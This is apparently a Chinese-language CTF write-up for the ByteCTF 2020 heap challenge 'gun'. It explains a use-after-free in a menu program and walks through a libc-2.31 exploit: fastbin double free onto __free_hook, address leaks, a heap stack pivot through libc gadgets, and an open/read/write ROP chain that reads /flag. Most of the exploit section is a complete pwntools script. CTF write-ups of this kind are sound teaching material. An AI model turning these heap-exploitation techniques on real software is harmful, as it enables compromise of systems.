0%

ByteCTF_2020——gun

一道题,盯一天,描述的就是我当时的状态。比赛结束后看了这篇 writeup 才做出来。这道题对我来说比较新颖的点有四个:一是高版本 libc (主要是有 tcache)下的堆利用,二是 rop 可以在堆上,三是泄漏地址的一些姿势,四是 libc 中的一些奇妙的 gadget。

基本情况

保护

开满了,要控制程序执行流程大概只能在各种 hook 上做手脚了。

只允许 orw。

程序分析

看上去是一道朴实无华的菜单题。

buy

分配函数。其使用的各种输入函数都不会导致溢出。值得注意的是 off_4010 变量,它的值为0x1000,限制了分配 chunk 的用户空间的总大小。

load

设置标志位。并将堆块用单链表连在一起,使用头插法。

shoot

从链表头开始依次输出堆块中的值,并将其 free 。存在 UAF 漏洞。

结构

结合上面的三个函数我们可以得到 “bullet” 的结构图:

chunk 域指向分配的 chunk,status 域的值为0、1、2,分别对应释放/未分配、已分配和 Loaded (经过 load 函数处理后)状态,next 域指向下一个 “bullet”。

小结

堆块的分配和放置与常规做法相同,有输出功能,但删除的方法比较复杂,构造时需注意。

漏洞利用

我看了前面提到的 writeup 才搞明白这题的漏洞利用方法,但它提到的 free unsortedbin 中的 fake chunk 的方法我一直搞不明白,所以我将其换成了 fastbin attack,流程如下:

  1. 利用 fastbin attack 修改__free_hook

    由于 libc-2.31 中对 tcache 的 double free 检测比较完善(只能通过修改 key 域绕过),我选择在 fastbin 中 进行 double free。

  2. 利用残余指针,泄漏 libc 基地址和堆中的某个地址、

    利用 unsortedbin 中与链表头相邻的 chunk 泄漏 libc 地址,利用 tcache chunk 的 fd 泄漏堆地址。

  3. 利用各种奇妙的 libc 中的 gadget 在堆上进行 rop

    在堆上 rop 的一个重要问题是:如何正确设置 rsp ?下面介绍两个比较重要的 gadget(exp 中有它们的汇编代码),这里描述一下它们的神奇功能:

    1. set_call_rdx

      rdx <- [rdi + 8], …, call [rdx + 0x20]

      与 free 函数配合时,要在堆上存放 rdx 的值和返回地址。

    2. rsp_rdx_0xA0

      rsp <- [rdx + A0h], …, ret

      设置 rsp后, rop 和栈上的没两样了。

一些细节问题记录在 exp 中。构造方法千万种,漏洞点和利用方法才是关键。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *

libc = ELF("./libc-2.31_gun.so")
io = process("./gun")
#io = remote("123.57.209.176", 30772)

def buy(size, content):
io.sendlineafter("Action> ", '3')
io.sendlineafter("Bullet price: ", str(size))
io.sendlineafter("Bullet Name: ", content)

def load(idx):
io.sendlineafter("Action> ", '2')
io.sendlineafter("Which one do you want to load?", str(idx))

def shoot(num):
io.sendlineafter("Action> ", '1')
io.sendlineafter("Shoot time: ", str(num))



io.sendlineafter("Your name", "jkilopu")

# fastbin double free
for i in range(9):
buy(0x10, "")
for i in range(9):
load(8 - i)
shoot(10) # 多shoot一些,保证bullet_head为NULL,这样接下来第一次load时bullet的next域不会被改变(详见load函数),chunk 0 ~ 9的链表不会被破坏(其中chunk 7、8在fastbin中),再次shoot时能free到chunk 7、8

for i in range(7):
buy(0x10, "")
for i in range(7):
load(6 - i)
shoot(10) # chunk 7 和 chunk 8均被double free,但只能任意地址写一次

# 将一个chunk放入unsorted bin中
for i in range(8):
buy(0x80, "")
for i in range(8):
load(i)
shoot(8)

# malloc(0x60)可以绕过tcache,在unsorted bin中找到一块0x90的chunk分割后得到chunk
# 里面有残留的指针,指向0x90的bin,可以泄漏libc地址
buy(0x60, "") # 分割为0x70和0x20,下次malloc时0x20的块被放入smallbin中
load(0)
shoot(1)
io.recvuntil("Pwn! The ")
small_bin_0x90_addr = u64(io.recvuntil(" bullet", drop=True).ljust(8, b'\x00'))
main_arena_offset = 0x1EBB80
libc.address = small_bin_0x90_addr - (main_arena_offset + 96 + 0x10 + 0x10 * (9 - 2))
print("libc addrress = " + hex(libc.address))

# 构造size=0x40的tcache链:1->0
buy(0x30, "")
buy(0x30, "")
load(1)
load(0)
shoot(2)

# 泄漏size=0x40的tcache bin中chunk 0的地址
buy(0x30, "")
load(0)
shoot(1)
io.recvuntil("Pwn! The ")
chunk_0_addr = u64(io.recvuntil(" bullet", drop=True).ljust(8, b'\x00')) - 0x10
print("chunk_0_addr = " + hex(chunk_0_addr))

# 覆盖__free_hook
free_hook_addr = libc.symbols["__free_hook"]
for i in range(7):
buy(0x10, "")
buy(0x10, p64(free_hook_addr)) # 这里直接指向了__free_hook,因为在此次malloc中,其余的fastbin都会被移到tcachebin中,而tcachebin中chunk的size不会被检查。
buy(0x10, "")
buy(0x10, "")

set_call_rdx = libc.address + 0x154930
'''
mov rdx, qword ptr [rdi + 8]
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20]
'''
buy(0x10, p64(set_call_rdx)) # rop的起点

rop_addr = chunk_0_addr + 0x40 * 2 + 0x10 # + tcache 0x40 chunk size * 2 + chunk head size
print("rop_addr = " + hex(rop_addr))
rsp_rdx_0xA0 = libc.address + 0x580dd
'''
mov rsp, [rdx+0A0h] ******
mov rbx, [rdx+80h]
mov rbp, [rdx+78h]
mov r12, [rdx+48h]
mov r13, [rdx+50h]
mov r14, [rdx+58h]
mov r15, [rdx+60h]
test dword ptr fs:48h, 2
jz loc_581C6

mov rcx, [rdx+0A8h]
push rcx # 注意这里有个 push
mov rsi, [rdx+70h]
mov rdi, [rdx+68h]
mov rcx, [rdx+98h]
mov r8, [rdx+28h]
mov r9, [rdx+30h]
mov rdx, [rdx+88h]
xor eax, eax
retn
'''
payload1 = (p64(0) + p64(rop_addr) + p64(0)).ljust(0x20, b'\x00') + p64(rsp_rdx_0xA0) # 至此,rsp已设置到正确位置

# orw
p_rdi = libc.address + 0x26b72
p_rsi = libc.address + 0x27529
pp_rdx = libc.address + 0x162866
p_rax = libc.address + 0x4a550
syscall_ret = libc.address + 0x111140
open_syscall_num = 2
read_addr = libc.symbols["read"]
write_addr = libc.symbols["write"]
payload2 = p64(p_rdi) + p64(rop_addr + 0xa0 - 8) + p64(p_rsi) + p64(0) + p64(p_rax) + p64(open_syscall_num) + p64(syscall_ret)
payload2 += p64(p_rdi) + p64(3) + p64(p_rsi) + p64(rop_addr + 0x200) + p64(pp_rdx) + p64(0x30) + p64(0) + p64(read_addr)
payload2 += p64(p_rdi) + p64(1) + p64(p_rsi) + p64(rop_addr + 0x200) + p64(pp_rdx) + p64(0x30) + p64(0) + p64(write_addr)

# 申请一个较大chunk放payload1和payload2
buy(0x400, payload1.ljust(0xa0 - 8, b'\x00') + b"/flag".ljust(8, b'\x00') + p64(rop_addr + 0xa0 + 0x8 + 0x8) + payload2)

load(11)
shoot(1) # 调用free(chunk_0x400),触发rop链

io.interactive()

当时的记录

特点:

  1. libc-2.31的题
  2. 保护全开
  3. 分配的chunk总大小有限制:0x1000
  4. 利用prctl开了seccomp和禁止提升权限(具体是怎样的不清楚),只能orw
  5. 把符号表都去掉了,但又跟常规的去符号表不一样,连libc函数的名字也不能显示
    且跳转到libc多了一层(好像是plt.sec?)。最后我调试后才搞清哪个got表对应哪个函数
  6. 用了比较复杂的结构管理分配的空间(其实就是链表),花了我很长时间搞清

漏洞:只发现了UAF(只能double free)

尝试:
早上大概了解了程序的流程和漏洞
下午编译gcc(编译libc-2.31需要,时间真长。。。),libc-2.31,分析漏洞利用手段(一筹莫展)
晚上最后看了看,搞了个fastbin double free(多了一步填满tcache bin),但不知道怎么泄漏地址。。。
最后因为限制太多:free不方便、chunk总大小限制、高版本libc保护多,再加上不了解除rop以外的orw的方法(就算泄露了libc基地址也只能改改各种hook)
放弃。。。

有用的资料:

  1. libc-2.31攻击方法(有源代码):https://github.com/StarCross-Tech/heap_exploit_2.31
  2. 上面资料更详细的解说:https://zhuanlan.zhihu.com/p/136983333

总结

  1. 思路还是太局限了(刷的题太少吧)。
  2. 调试->发现问题->再调试->解决问题也许是最好的学习方法。

参考

一位师傅的 writeup